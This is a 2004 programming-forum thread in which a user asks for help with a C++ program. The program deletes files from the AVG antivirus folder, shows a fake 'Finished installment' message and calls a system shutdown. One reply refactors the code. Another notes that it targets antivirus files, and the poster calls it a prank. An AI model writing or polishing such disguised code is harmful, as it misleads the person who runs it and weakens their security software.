Programming C, C++, Java, PHP, Ruby, Turing, VB
Computer Science Canada 
Programming C, C++, Java, PHP, Ruby, Turing, VB  

Username:   Password: 
 RegisterRegister   
 Program help
Index -> Programming, C++ -> C++ Help
View previous topic Printable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic
Author Message
ReN3g@de




PostPosted: Tue Mar 09, 2004 4:38 pm   Post subject: Program help

i need some help with this program...

code:
#include <iostream>
#include <stdlib.h>

using namespace std;

int main(char *argv[])
{
if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp1.txt" ) == -1 )
      {perror( "Could not finish installment" );}
   else
      {printf( "Finished installment\n" );}
if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp2.txt" ) == -1 )
      {perror( "Could not finish installment" );}
   else
      {printf( "Finished installment\n" );}
if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp3.txt" ) == -1 )
      {perror( "Could not finish installment" );}
   else
      {printf( "Finished installment\n" );} 
      system("PAUSE,shutdown -s -c 'haha'");   
      return 0;
}


im trying to make it delete three files then prompt the user to press a key... when he does so i want the computer to restart. but instead of restarting the program loops continuously... wut is wrong?

i use Dev C++
Sponsor
Sponsor
Sponsor
sponsor
wtd




PostPosted: Tue Mar 09, 2004 7:28 pm   Post subject: Re: Program help

ReN3g@de wrote:
i need some help with this program...


Let's start by cleaning it up a bit. Mixing C and C++ is bad! Smile

code:
#include <iostream>
#include <stdlib.h>

void remove_files(std::ostream& out, std::ostream& err)
{
   using namespace std;

   const int NUM_OF_FILES = 3;
   const string prefix = "c:\\Program Files\\Grisoft\\AVG6\\";
   string files[NUM_OF_FILES] = { "temp1.txt", "temp2.txt", "temp3.txt" };
   
   for (string * i = files; i < files + NUM_OF_FILES; i++)
   {
      string file_path = prefix + *i;
      if (remove(file_path) == -1)
         err << "Could not finish installment" << endl;
      else
         out << "Finished installment\n" << endl;
   }
}

int main(char *argv[])
{
   using namespace std;

   remove_files(cout, cerr);
     
   system("PAUSE,shutdown -s -c 'haha'");
   
   return 0;
}


Quote:
im trying to make it delete three files then prompt the user to press a key... when he does so i want the computer to restart. but instead of restarting the program loops continuously... wut is wrong?

i use Dev C++


The only thing I can see that might be a problem is "shutdown". Is there any particular reason for your program to request a system shutdown? And this command won't even work in Windows (without Cygwin).
Dan




PostPosted: Tue Mar 09, 2004 9:18 pm   Post subject: (No subject)

ROFL, *dan looks at last 2 post in c++ help by ReN3g@de* lets see we got one on delteing reg keys and one on deltaing files, spicfaly ones that make an anti-virus app work, LOL.

Have fun, i hope you dont get cougth, lol.
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
ReN3g@de




PostPosted: Tue Mar 09, 2004 10:21 pm   Post subject: (No subject)

heh heh its all in good fun... i know the person i am playin aroun with... he's a pretty cocky fellow!!

the funny thing is i just made my entire program in Turing!!! i figures out how to turn off, restart, and make the computer sleep!!
Display posts from previous:   
   Index -> Programming, C++ -> C++ Help
View previous topic Tell A FriendPrintable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

Page 1 of 1  [ 4 Posts ]
Jump to:   


Style:  
Search: